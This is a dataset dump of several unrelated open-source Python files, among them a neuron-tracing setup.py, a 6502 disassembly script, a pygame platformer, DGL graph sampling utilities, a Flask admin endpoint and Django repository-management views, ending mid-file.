image-stack'\n\n\n# Configuration for Lib tiff\ndef configuration(parent_package='', top_path=None):\n from numpy.distutils.misc_util import Configuration\n config = Configuration(None, parent_package, top_path)\n return config\n\n# Parse Requirements\nBASEDIR = os.path.dirname(os.path.abspath(__file__))\nREQS = ['numpy>=1.8.0',\n 'scipy>=0.17.0',\n 'Cython>=0.25.1',\n 'scikit-fmm==0.0.9',\n 'scikit-image>=0.14.2',\n 'matplotlib>=1.3.1',\n 'nibabel>=2.1.0',\n 'pyglet>=1.2.4',\n 'tqdm>4.11.2',\n 'libtiff==0.4.1']\n\next_modules = [\n Extension(\n 'msfm',\n sources=[\n os.path.join('rivuletpy', 'msfm', 'msfmmodule.c'),\n os.path.join('rivuletpy', 'msfm', '_msfm.c'),\n ]),\n]\n\nconfig = {\n 'description':\n 'Rivuletpy: a powerful tool to automatically trace single neurons from 3D light microscopic images.',\n 'author': 'RivuletStuio',\n 'url': 'https://github.com/RivuletStudio/rivuletpy',\n 'author_email': 'lsqshr@gmail.com, zdhpeter1991@gmail.com',\n 'version': VERSION,\n 'install_requires': REQS,\n 'packages': find_packages(),\n 'license': 'BSD',\n 'scripts': [\n os.path.join('apps','rtrace'),\n os.path.join('apps','compareswc'),\n os.path.join('apps','rswc'),\n ],\n 'name': 'rivuletpy',\n 'include_package_data': True,\n 'ext_modules': ext_modules,\n 'include_dirs': [np.get_include()], # Add include path of numpy\n 'setup_requires': 'numpy',\n 'classifiers': classifiers,\n}\n\nsetup(**config)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562341155","text":"from commands import *\nfrom trace6502 import *\n\nfrom atom import *\nfrom onli import *\n\n# Load the program to be disassembled into the debugger's memory.\n# The md5sum is optional but helps avoid confusion if there are multiple versions\n# of the same program.\nload(0xD000, \"OnliBasic.orig\", \"d3ccea320e7f1acb77af7456ec52a6ca\")\n\nadd_atom_labels()\nadd_onli_labels()\n\n# Hardware Registers\nlabel(0x0E21, \"system_8154_port_b_keyboard\")\n\n# IRQ\nentry(0xd139, \"irq_handler\")\nlabel(0x0204, \"IRQVECL\")\nlabel(0x0205, \"IRQVECH\")\nexpr(0xd0c6, \"irq_handler\")\n\n# Commands\nlabel(0xd0c5, \"cmd_START\")\nlabel(0xd4cc, \"cmd_PLOT\")\nlabel(0xd4c0, \"cmd_DRAW\")\nlabel(0xd4c4, \"cmd_MOVE\")\nlabel(0xd604, \"cmd_CLEAR\")\nlabel(0xd0f1, \"cmd_CLI\")\nlabel(0xd0f5, \"cmd_SEI\")\nlabel(0xd1b7, \"cmd_REL\")\nlabel(0xd1d7, \"cmd_KILL\")\nlabel(0xd332, \"cmd_RQIN\")\nlabel(0xd394, \"cmd_RCLK\")\nlabel(0xd3ed, \"cmd_HANGUP\")\nlabel(0xd0f9, \"cmd_SET\")\nlabel(0xd0fd, \"cmd_CLR\")\nlabel(0xd11f, \"cmd_DEFPORT\")\nlabel(0xd1e6, \"cmd_PORT\")\nlabel(0xd21f, \"cmd_TIME\")\nlabel(0xd479, \"cmd_DAC\")\n\n# Functions\nlabel(0xd439, \"fn_ADC\")\nlabel(0xd216, \"fn_TIME\")\nlabel(0xd20b, \"fn_PORT\")\nlabel(0xd22d, \"fn_REACT\")\n\n# Start tracing instructions at the address given in 0xD002/3 and 0xd004/5\nwordentry(0xD002, 2)\n\n# Data\nbyte(0xd431, 4)\nbyte(0xd435, 4)\nbyte(0xd681, 0x19)\nbyte(0xd69a, 0x19)\n\n# Junk at the end\nlabel(0xd6b3, \"ignored\")\nbyte(0xd6b3, 0x14D)\n\n# Workspace\nlabel(0x03c1, \"last_point_0\")\nlabel(0x03c2, \"last_point_1\")\nlabel(0x03c3, \"last_point_2\")\nlabel(0x03c4, \"last_point_3\")\n\n# Command and Function Table\npc = 0xD006\nlabel(pc, \"command_table\")\nexpr_label(pc+1, \"command_table+1\")\nfor i in range(24):\n pc = stringhi(pc)\n pc = code_ptr(pc + 1, pc)\n\n# Use all the information provided to actually disassemble the program.\ngo()\n","sub_path":"disassembly_system/OnliBasic.py","file_name":"OnliBasic.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"99300024","text":"# -*- coding: utf-8 -*-\n# Copyright (C) Duncan Macleod (2016)\n#\n# This file is part of GWSumm.\n#\n# GWSumm is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# GWSumm is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with GWSumm. If not, see .\n\n\"\"\"HTML helphers\n\nThis module mainly declares the resources used by standard on HTML pages\n\"\"\"\n\nimport os.path\ntry:\n from collections import OrderedDict\nexcept:\n from ordereddict import OrderedDict\n\n__author__ = 'Duncan Macleod '\n\n\nSTATICDIR = os.path.join(os.path.dirname(__file__), 'static')\n\n# set bootstrap info\nBOOTSTRAP_VERSION = \"3.3.6\"\nBOOTSTRAP_CDN = '//netdna.bootstrapcdn.com/bootstrap/%s' % BOOTSTRAP_VERSION\nBOOTSTRAP_CSS = '%s/css/bootstrap.min.css' % BOOTSTRAP_CDN\nBOOTSTRAP_JS = '%s/js/bootstrap.min.js' % BOOTSTRAP_CDN\n\n# build list of javascript resources\nJS = OrderedDict()\nJS['jquery'] = '//code.jquery.com/jquery-1.12.3.min.js'\nJS['moment'] = (\n '//cdnjs.cloudflare.com/ajax/libs/moment.js/2.13.0/moment.min.js')\nJS['bootstrap'] = BOOTSTRAP_JS\nJS['fancybox'] = (\n '//cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.pack.js')\nJS['datepicker'] = (\n '//cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/'\n '1.6.0/js/bootstrap-datepicker.min.js')\nJS['bootstrap-ligo'] = os.path.join(STATICDIR, 'bootstrap-ligo.min.js')\nJS['gwsumm'] = os.path.join(STATICDIR, 'gwsumm.min.js')\n\n# build list of CSS resources\nCSS = OrderedDict()\nCSS['bootstrap'] = BOOTSTRAP_CSS\nCSS['fancybox'] = (\n '//cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.css')\nCSS['datepicker'] = (\n '//cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/'\n '1.6.0/css/bootstrap-datepicker.min.css')\nCSS['bootstrap-ligo'] = os.path.join(STATICDIR, 'bootstrap-ligo.min.css')\nCSS['gwsumm'] = os.path.join(STATICDIR, 'gwsumm.min.css')\n\n\ndef get_css():\n \"\"\"Return a `dict` of CSS files to link in the HTML \n \"\"\"\n return CSS\n\n\ndef get_js():\n \"\"\"Return a `dict` of javascript files to link in the HTML \n \"\"\"\n return JS\n","sub_path":"gwpysoft-activate/lib/python2.7/site-packages/gwsumm/html/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"413550768","text":"import pygame\nimport random\nimport sprites\nfrom settings import *\n\n\nclass Sakura:\n\n def __init__(self):\n # flags to check if the player is done playing\n self.done = False\n # initialize pygame, set window title, width and height\n pygame.init()\n pygame.display.set_caption(CAPTION)\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\n # init sprite class\n pygame.sprite.Sprite.__init__(self)\n # init pygame mixer\n pygame.mixer.init()\n # load images\n self.load_images_sounds()\n # init pygame clock for fps\n self.clock = pygame.time.Clock()\n # fonts only for sakuras gathered\n pygame.font.init()\n self.font = pygame.font.Font(FONT,18)\n\n def load_images_sounds(self):\n # minkie static frame\n self.standing = pygame.image.load(STATIC).convert_alpha()\n # minkie walking frames\n self.walk_right = [pygame.image.load(WALK1).convert_alpha(),\n pygame.image.load(WALK2).convert_alpha()]\n self.walk_left = []\n for frame in self.walk_right:\n self.walk_left.append(pygame.transform.flip(frame, True, False))\n # minkie jumping frames\n self.jump_frame_r = pygame.image.load(JUMP1).convert_alpha()\n self.jump_frame_l = pygame.transform.flip(self.jump_frame_r, True, False)\n # floating sakuras image\n self.sakuras = pygame.image.load(SAFLO).convert_alpha()\n self.sakuras = pygame.transform.scale(self.sakuras, (30, 30))\n # background\n self.bg_frames = []\n for frame in SNOWSA:\n self.bg_frames.append(pygame.transform.scale((pygame.image.load(frame).convert_alpha()),\n (300,300)))\n # Tree\n self.tree = pygame.image.load(TREE).convert_alpha()\n # tree position x and y\n self.treex = 3250 - pygame.Surface.get_width(self.tree)\n self.treey = 530\n\n # sound files and volumes\n self.startscreen_sound = pygame.mixer.Sound(STARTSOUND)\n self.startscreen_sound.set_volume(0.5)\n self.gamestart_sound = pygame.mixer.Sound(GAMESTARTSOUND)\n self.gamestart_sound.set_volume(0.6)\n self.bgsound = pygame.mixer.Sound(BGSOUND)\n self.bgsound.set_volume(0.4)\n self.walk_sound = pygame.mixer.Sound(STEPS)\n self.jump_sound = pygame.mixer.Sound(JUMPSOUND)\n\n def new_game(self):\n # vars\n self.won = False\n self.last_update = 0\n self.current_frame = 0\n # sakuras gathered\n self.gathered = 0\n # player instance\n self.player = sprites.Player(self)\n # create platforms and other objects\n self.platsnobjs()\n # run the game\n self.run()\n\n # Game loop\n def run(self):\n while not self.done:\n # check for game events\n self.events()\n # draw on the screen \n self.draw()\n # continuously updates game\n self.update()\n # set the game framerate\n self.clock.tick(120)\n\n def update(self):\n #print(self.player.pos)\n # update all sprites on screen\n self.all_sprites.update()\n # ~~~~~~~~~~ collisions ~~~~~~~~~~\n # check for collisions for every platform separately\n for plat in self.platforms:\n if self.player.rect.colliderect(plat.rect):\n # if the player is above the plat set the position on top\n if self.player.rect.top < plat.rect.top:\n self.player.pos.y = plat.rect.top\n # set the velocity to 0 only if falling\n if self.player.vel.y > 0:\n self.player.vel.y = 0\n # hit the bottom of a plat if it's above the player\n if self.player.rect.center[1] > plat.rect.top:\n self.player.pos.y = plat.rect.bottom + self.player.player_height\n self.player.vel.y += 1.4\n # check for collisions with sakuras\n collide = pygame.sprite.spritecollide(self.player, self.saflos, True)\n if collide:\n self.gathered += 1\n # ~~~~~~~~~~ Camera movement ~~~~~~~~~~\n # move everything to the left if the player passed screen's 1/2\n if self.player.pos.x > WIDTH/2+10 and self.ground.rect.right > WIDTH:\n # adjust players velocity to moving screen\n self.player.pos.x -= abs(self.player.vel.x)\n # move every platform left\n for obj in self.objtomove:\n if self.player.vel.x > 1:\n obj.rect.x -= 2\n\n # move everything right if moving backwards and there are platforms @ -0\n if self.player.pos.x < WIDTH/2+10 and self.ground.rect.x < 0:\n # adjust player velocity to moving screen\n self.player.pos.x += abs(self.player.vel.x)\n # move every platform\n for obj in self.objtomove:\n if self.player.vel.x < -1:\n obj.rect.x += 2\n\n # flips the buffers\n pygame.display.flip()\n\n # event handler\n def events(self):\n for event in pygame.event.get():\n # quit event - quits game\n if event.type == pygame.QUIT:\n self.done = True\n if event.type == pygame.KEYDOWN:\n # jumping\n if event.key == pygame.K_SPACE:\n self.player.jump()\n\n def draw(self):\n time = pygame.time.get_ticks()\n # color the screen black\n self.screen.fill((BLACK))\n\n # ~~~~~~~~ draw snowing sakuras ~~~~~~~~\n # save last frame \n last_frame = self.bg_frames[self.current_frame]\n if time - self.last_update > 200:\n self.last_update = time\n # iterate through every frame in the list\n self.current_frame = (self.current_frame + 1) % len(self.bg_frames)\n # blit the frame on 6 parts of the screen\n for i in range(3):\n self.screen.blit(self.bg_frames[self.current_frame], (i/3*WIDTH,0))\n\n for i in range(3):\n self.screen.blit(self.bg_frames[self.current_frame], (i/3*WIDTH,1/2*HEIGHT))\n else:\n # keep blitting the last image on screen\n # if the above condition is not True\n for i in range(3):\n self.screen.blit(last_frame, (i/3*WIDTH,0))\n\n for i in range(3):\n self.screen.blit(last_frame, (i/3*WIDTH,1/2*HEIGHT))\n\n # check for collisions with the ending tree\n collide = pygame.sprite.spritecollide(self.player, self.endtree, False,\n collided = pygame.sprite.collide_circle_ratio(.7))\n # if player collides with the tree\n # and has gathered all sakuras\n # show game over screen\n if collide and self.gathered == len(SAKURAFLOS):\n self.won = True\n self.done = True\n # show sakuras gathered\n self.textsurf = self.font.render('sakuras gathered - %d' % self.gathered,\n False, (WHITE))\n self.screen.blit(self.textsurf,(5,5))\n # draws platforms and player + movements\n self.all_sprites.draw(self.screen)\n\n def platsnobjs(self):\n # sprite groups\n self.all_sprites = pygame.sprite.Group()\n self.platforms = pygame.sprite.Group()\n self.saflos = pygame.sprite.Group()\n self.objtomove = pygame.sprite.Group()\n self.endtree = pygame.sprite.Group()\n # add player sprite to all groups\n self.all_sprites.add(self.player)\n # create and add to groups the ground platform manually\n # for camera movement control\n self.ground = sprites.Platforms(*GROUND_PLAT)\n self.all_sprites.add(self.ground)\n self.platforms.add(self.ground)\n self.objtomove.add(self.ground)\n # create and add to groups the tree object for later\n # collision detection\n self.treeobj = sprites.ImObj(self.tree, self.treex, self.treey)\n self.endtree.add(self.treeobj)\n self.objtomove.add(self.treeobj)\n self.all_sprites.add(self.treeobj)\n # create and add to groups floating sakuras\n for sa in SAKURAFLOS:\n s = sprites.ImObj(self.sakuras, *sa)\n self.all_sprites.add(s)\n self.saflos.add(s)\n self.objtomove.add(s)\n # create platforms and add the to groups\n for plat in PLATFORMS:\n p = sprites.Platforms(*plat)\n self.all_sprites.add(p)\n self.platforms.add(p)\n self.objtomove.add(p)\n\n # function for drawing text on screen\n def draw_text(self, text, size, color, x, y):\n # sets the font\n font = pygame.font.Font(FONT, size)\n # renders the text\n textsurf = font.render(text, True, color)\n # text position on screen\n text_rect = textsurf.get_rect()\n text_rect.midtop = (x,y)\n # blits the text\n self.screen.blit(textsurf, text_rect)\n\n # start screen\n def start_screen(self):\n # writes on screen stuff about the game\n self.screen.fill(BLACK)\n self.draw_text(CAPTION, 48, WHITE, WIDTH/2, HEIGHT/4)\n self.draw_text(\"arrows to move - space to jump\", 22, WHITE, WIDTH/2, HEIGHT/2)\n self.draw_text(\"press the space key to play\", 22, WHITE, WIDTH/2, HEIGHT*3/4)\n pygame.display.flip()\n # waits the player to press a key to play\n self.wait_for_key()\n\n # function for start - end screen and\n # the starting and game background sounds.\n # to exit the loop the player has to press a key \n def wait_for_key(self):\n # play music\n self.startscreen_sound.play(-1)\n waiting = True\n while waiting:\n # screen framerate\n self.clock.tick(30)\n # if player presses the close button\n # the game quits\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n waiting = False\n self.done = True\n # if the player presses the space key\n # it creates a new game\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n # player pressing space to start playing sound,\n # start screen and game bg music\n self.startscreen_sound.stop()\n self.gamestart_sound.play(0)\n pygame.time.delay(3000)\n self.bgsound.play(-1)\n self.done = False\n waiting = False\n\n\n # game over screen\n def game_over(self):\n # writes stuff on screen\n self.screen.fill(BLACK)\n self.draw_text(\"Game Over\", 60, WHITE, WIDTH/2, HEIGHT/4)\n self.draw_text(\"press the space key to play again\", 22, WHITE, WIDTH/2, HEIGHT/2)\n self.draw_text(\"~\"*30, 22, WHITE, WIDTH/2, HEIGHT*3/4)\n pygame.display.flip()\n # pause the game for 1500ms after winning\n pygame.time.delay(1500)\n # waits for the player to press a key \n # it they want to play again\n self.wait_for_key()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":11373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"168165344","text":"import warnings\ndef extract_all_availabe_metrics(col, grid_label, source_id, varname='areacello', preprocess=None):\n #Find an area for as many models as possible (no matter in which scenario, ensemble etc)\n subset = col.search(variable_id=[varname], grid_label='gn', source_id=source_id)\n\n # remove dupes from the dataframe\n df = subset.df.drop_duplicates(subset='source_id')\n subset.df = df\n \n return subset.to_dataset_dict(preprocess=preprocess)\n\ndef extract_static_metric(col, grid_label, source_id, varname='areacello', preprocess=None):\n #Find an area for as many models as possible (no matter in which scenario, ensemble etc)\n subset = col.search(variable_id=[varname], grid_label='gn', source_id=source_id)\n\n # remove dupes from the dataframe\n df = subset.df.drop_duplicates(subset='source_id')\n subset.df = df\n \n metric_dict = subset.to_dataset_dict(preprocess=preprocess)\n \n if len(metric_dict) == 0:\n warnings.warn('No metric [%s] found for source_id [%s] and grid_label[%s]' %(varname, source_id, grid_label))\n return None\n elif len(metric_dict) > 1:\n print(metric_dict)\n raise RuntimeError('Something went reaalllly wrong. Metric dict should only have one key')\n else:\n return metric_dict[list(metric_dict.keys())[0]]\n \ndef parse_metrics(data_dict, col, varname='areacello', preprocess=None):\n data_dict_parsed = {}\n for k, ds in data_dict.items():\n metric = extract_static_metric(col, ds.attrs['grid_label'], ds.attrs['source_id'])\n if not metric is None:\n # strip all coords and attributes from metric\n metric = metric.squeeze().reset_coords(drop=True)\n ds.coords[varname] = metric[varname]\n data_dict_parsed[k] = ds\n return data_dict_parsed","sub_path":"cmip6_preprocessing/parse_static_metrics.py","file_name":"parse_static_metrics.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438119098","text":"\"\"\"Utility functions for sampling.\"\"\"\n\nfrom collections import defaultdict\nfrom typing import Dict, List, Tuple, Union\n\nimport torch\n\nfrom ..base import etype_str_to_tuple\n\n\ndef unique_and_compact(\n nodes: Union[\n List[torch.Tensor],\n Dict[str, List[torch.Tensor]],\n ],\n):\n \"\"\"\n Compact a list of nodes tensor.\n\n Parameters\n ----------\n nodes : List[torch.Tensor] or Dict[str, List[torch.Tensor]]\n List of nodes for compacting.\n the unique_and_compact will be done per type\n - If `nodes` is a list of tensor: All the tensors will do unique and\n compact together, usually it is used for homogeneous graph.\n - If `nodes` is a list of dictionary: The keys should be node type and\n the values should be corresponding nodes, the unique and compact will\n be done per type, usually it is used for heterogeneous graph.\n\n Returns\n -------\n Tuple[unique_nodes, compacted_node_list]\n The Unique nodes (per type) of all nodes in the input. And the compacted\n nodes list, where IDs inside are replaced with compacted node IDs.\n \"Compacted node list\" indicates that the node IDs in the input node\n list are replaced with mapped node IDs, where each type of node is\n mapped to a contiguous space of IDs ranging from 0 to N.\n \"\"\"\n is_heterogeneous = isinstance(nodes, dict)\n\n def unique_and_compact_per_type(nodes):\n nums = [node.size(0) for node in nodes]\n nodes = torch.cat(nodes)\n empty_tensor = nodes.new_empty(0)\n unique, compacted, _ = torch.ops.graphbolt.unique_and_compact(\n nodes, empty_tensor, empty_tensor\n )\n compacted = compacted.split(nums)\n return unique, list(compacted)\n\n if is_heterogeneous:\n unique, compacted = {}, {}\n for ntype, nodes_of_type in nodes.items():\n unique[ntype], compacted[ntype] = unique_and_compact_per_type(\n nodes_of_type\n )\n return unique, compacted\n else:\n return unique_and_compact_per_type(nodes)\n\n\ndef unique_and_compact_node_pairs(\n node_pairs: Union[\n Tuple[torch.Tensor, torch.Tensor],\n Dict[str, Tuple[torch.Tensor, torch.Tensor]],\n ],\n unique_dst_nodes: Union[\n torch.Tensor,\n Dict[str, torch.Tensor],\n ] = None,\n):\n \"\"\"\n Compact node pairs and return unique nodes (per type).\n\n Parameters\n ----------\n node_pairs : Union[Tuple[torch.Tensor, torch.Tensor],\n Dict(str, Tuple[torch.Tensor, torch.Tensor])]\n Node pairs representing source-destination edges.\n - If `node_pairs` is a tuple: It means the graph is homogeneous.\n Also, it should be in the format ('u', 'v') representing source\n and destination pairs. And IDs inside are homogeneous ids.\n - If `node_pairs` is a dictionary: The keys should be edge type and\n the values should be corresponding node pairs. And IDs inside are\n heterogeneous ids.\n unique_dst_nodes: torch.Tensor or Dict[str, torch.Tensor]\n Unique nodes of all destination nodes in the node pairs.\n - If `unique_dst_nodes` is a tensor: It means the graph is homogeneous.\n - If `node_pairs` is a dictionary: The keys are node type and the\n values are corresponding nodes. And IDs inside are heterogeneous ids.\n\n Returns\n -------\n Tuple[node_pairs, unique_nodes]\n The compacted node pairs, where node IDs are replaced with mapped node\n IDs, and the unique nodes (per type).\n \"Compacted node pairs\" indicates that the node IDs in the input node\n pairs are replaced with mapped node IDs, where each type of node is\n mapped to a contiguous space of IDs ranging from 0 to N.\n\n Examples\n --------\n >>> import dgl.graphbolt as gb\n >>> N1 = torch.LongTensor([1, 2, 2])\n >>> N2 = torch.LongTensor([5, 6, 5])\n >>> node_pairs = {\"n1:e1:n2\": (N1, N2),\n ... \"n2:e2:n1\": (N2, N1)}\n >>> unique_nodes, compacted_node_pairs = gb.unique_and_compact_node_pairs(\n ... node_pairs\n ... )\n >>> print(unique_nodes)\n {'n1': tensor([1, 2]), 'n2': tensor([5, 6])}\n >>> print(compacted_node_pairs)\n {\"n1:e1:n2\": (tensor([0, 1, 1]), tensor([0, 1, 0])),\n \"n2:e2:n1\": (tensor([0, 1, 0]), tensor([0, 1, 1]))}\n \"\"\"\n is_homogeneous = not isinstance(node_pairs, dict)\n if is_homogeneous:\n node_pairs = {\"_N:_E:_N\": node_pairs}\n if unique_dst_nodes is not None:\n assert isinstance(\n unique_dst_nodes, torch.Tensor\n ), \"Edge type not supported in homogeneous graph.\"\n unique_dst_nodes = {\"_N\": unique_dst_nodes}\n\n # Collect all source and destination nodes for each node type.\n src_nodes = defaultdict(list)\n dst_nodes = defaultdict(list)\n for etype, (src_node, dst_node) in node_pairs.items():\n src_type, _, dst_type = etype_str_to_tuple(etype)\n src_nodes[src_type].append(src_node)\n dst_nodes[dst_type].append(dst_node)\n src_nodes = {ntype: torch.cat(nodes) for ntype, nodes in src_nodes.items()}\n dst_nodes = {ntype: torch.cat(nodes) for ntype, nodes in dst_nodes.items()}\n # Compute unique destination nodes if not provided.\n if unique_dst_nodes is None:\n unique_dst_nodes = {\n ntype: torch.unique(nodes) for ntype, nodes in dst_nodes.items()\n }\n\n ntypes = set(dst_nodes.keys()) | set(src_nodes.keys())\n unique_nodes = {}\n compacted_src = {}\n compacted_dst = {}\n dtype = list(src_nodes.values())[0].dtype\n default_tensor = torch.tensor([], dtype=dtype)\n for ntype in ntypes:\n src = src_nodes.get(ntype, default_tensor)\n unique_dst = unique_dst_nodes.get(ntype, default_tensor)\n dst = dst_nodes.get(ntype, default_tensor)\n (\n unique_nodes[ntype],\n compacted_src[ntype],\n compacted_dst[ntype],\n ) = torch.ops.graphbolt.unique_and_compact(src, dst, unique_dst)\n\n compacted_node_pairs = {}\n # Map back with the same order.\n for etype, pair in node_pairs.items():\n num_elem = pair[0].size(0)\n src_type, _, dst_type = etype_str_to_tuple(etype)\n src = compacted_src[src_type][:num_elem]\n dst = compacted_dst[dst_type][:num_elem]\n compacted_node_pairs[etype] = (src, dst)\n compacted_src[src_type] = compacted_src[src_type][num_elem:]\n compacted_dst[dst_type] = compacted_dst[dst_type][num_elem:]\n\n # Return singleton for a homogeneous graph.\n if is_homogeneous:\n compacted_node_pairs = list(compacted_node_pairs.values())[0]\n unique_nodes = list(unique_nodes.values())[0]\n\n return unique_nodes, compacted_node_pairs\n","sub_path":"python/dgl/graphbolt/utils/sample_utils.py","file_name":"sample_utils.py","file_ext":"py","file_size_in_byte":6738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"426944165","text":"\"\"\"Resource for admin tools\"\"\"\nfrom flask import request\nfrom flask_restful import Resource\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom module.server import messages\nfrom module.server.models.user import User\nfrom module.server.api.schemas.admin import AdminChoiceSchema\n\n\nclass AdminToolsResource(Resource):\n \"\"\"\n post:\n summary: work with user account. Available choices: ['activate', 'deactivate', 'delete']\n parameters:\n path: /api/v1/auth\n schema: AdminChoiceSchema\n responses:\n '200':\n description: everything is okay\n content:\n application/json\n '400':\n description: missing arguments\n content:\n application/json\n '403':\n description: current user is not admin\n content:\n application/json\n '500':\n description: error deleting from database\n content:\n application/json\n \"\"\"\n\n @jwt_required(fresh=True)\n def post(self, uuid):\n \"\"\"Work with user account\"\"\"\n curr_user = User.get_by_uuid(get_jwt_identity())\n if curr_user.username != \"admin\": # if current is not admin\n return {\"message\": messages[\"access_denied\"]}, 403\n\n data = AdminChoiceSchema().load(request.get_json())\n user_to_work = User.get_by_uuid(uuid)\n\n if data[\"choice\"] == \"activate\":\n user_to_work.change_state()\n return {\"message\": messages[\"activate_state_success\"]}, 200\n elif data[\"choice\"] == \"deactivate\":\n user_to_work.change_state(deactivate=True)\n return {\"message\": messages[\"deactivate_state_success\"]}, 200\n elif data[\"choice\"] == \"delete\":\n try:\n # if everything is okay - user will be deleted from the database\n user_to_work.delete_from_db()\n return {\"message\": messages[\"success\"]}, 200\n except Exception as e:\n return {\"message\": messages[\"failure\"] + \" Error: {0}\".format(e)}, 500\n","sub_path":"module/server/api/resources/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"395555861","text":"#\n# Copyright 2012 Cisco Systems, Inc.\n#\n# Author: Soren Hansen \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport datetime\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.models import get_current_site\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.core.urlresolvers import reverse\nfrom django.forms import ModelForm\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\n\n\nfrom repomgmt import utils, tasks\nfrom repomgmt.models import Architecture, BuildNode, BuildRecord\nfrom repomgmt.models import ChrootTarball, Repository, Series\nfrom repomgmt.models import UbuntuSeries, PackageSource, Subscription\nfrom repomgmt.models import PackageSourceBuildProblem\n\n\nclass NewArchitectureForm(ModelForm):\n class Meta:\n model = Architecture\n fields = (\"name\", \"builds_arch_all\")\n\n\nclass SubscriptionForm(ModelForm):\n class Meta:\n model = Subscription\n fields = (\"target_series\", \"source\")\n\n\nclass NewRepositoryForm(ModelForm):\n class Meta:\n model = Repository\n fields = (\"name\", \"contact\")\n\n\nclass NewSeriesForm(ModelForm):\n class Meta:\n model = Series\n fields = (\"name\", \"numerical_version\", \"base_ubuntu_series\", \"state\", \"update_from\")\n\n\nclass NewPkgSourceForm(ModelForm):\n class Meta:\n model = PackageSource\n fields = (\"name\", \"code_url\", \"packaging_url\", \"flavor\")\n\n\ndef new_architecture_form(request):\n if request.method == 'POST':\n form = NewArchitectureForm(request.POST)\n else:\n form = NewArchitectureForm()\n return render(request, 'new_architecture_form.html',\n {'form': form})\n\n\ndef new_repository_form(request):\n if request.method == 'POST':\n form = NewRepositoryForm(request.POST)\n else:\n form = NewRepositoryForm()\n return render(request, 'new_repository_form.html',\n {'form': form})\n\n\ndef new_series_form(request, repository_name):\n repository = Repository.objects.get(name=repository_name)\n if request.method == 'POST':\n form = NewSeriesForm(request.POST)\n else:\n form = NewSeriesForm()\n return render(request, 'new_series_form.html',\n {'form': form,\n 'repository': repository})\n\n\ndef new_pkg_source_form(request):\n if request.method == 'POST':\n form = NewPkgSourceForm(request.POST)\n else:\n form = NewPkgSourceForm()\n return render(request, 'new_pkg_source_form.html',\n {'form': form})\n\n\ndef pkg_sources_list(request):\n if request.method == 'POST':\n if request.POST['action'] == 'create':\n form = NewPkgSourceForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('pkg_sources_list'))\n else:\n return new_pkg_source_form(request)\n\n t = timezone.now() - datetime.timedelta(hours=1)\n latest_problems = PackageSourceBuildProblem.objects.filter(timestamp__gte=t).order_by('-timestamp')\n return render(request, 'pkg_sources.html',\n {'pkg_sources': PackageSource.objects.all(),\n 'latest_problems': latest_problems})\n\n\ndef problem_detail(request, problem_id):\n problem = PackageSourceBuildProblem.objects.get(id=problem_id)\n return render(request, 'pkg_src_build_problem.html',\n {'problem': problem})\n\n\ndef architecture_list(request):\n if request.method == 'POST':\n if request.POST['action'] == 'create':\n form = NewArchitectureForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('architecture_list'))\n else:\n return new_architecture_form(request)\n\n return render(request, 'architectures.html',\n {'architectures': Architecture.objects.all()})\n\n\ndef repository_list(request):\n if request.method == 'POST':\n if request.POST['action'] == 'create':\n form = NewRepositoryForm(request.POST)\n if form.is_valid():\n repo = form.save()\n repo.write_configuration()\n return HttpResponseRedirect(reverse('repository_list'))\n else:\n return new_repository_form(request)\n\n return render(request, 'repositories.html',\n {'repositories': Repository.objects.all()})\n\n\ndef repository_public_key(request, repository_name):\n repository = Repository.objects.get(name=repository_name)\n return HttpResponse(repository.signing_key.public_key, 'text/plain')\n\n\ndef series_list(request, repository_name):\n repository = Repository.objects.get(name=repository_name)\n if request.method == 'POST':\n if request.POST['action'] == 'create':\n form = NewSeriesForm(request.POST)\n if form.is_valid():\n series = form.save(commit=False)\n series.repository = repository\n series.save()\n form.save_m2m()\n repository.write_configuration()\n kwargs = {'repository_name': repository_name}\n return HttpResponseRedirect(reverse('series_list',\n 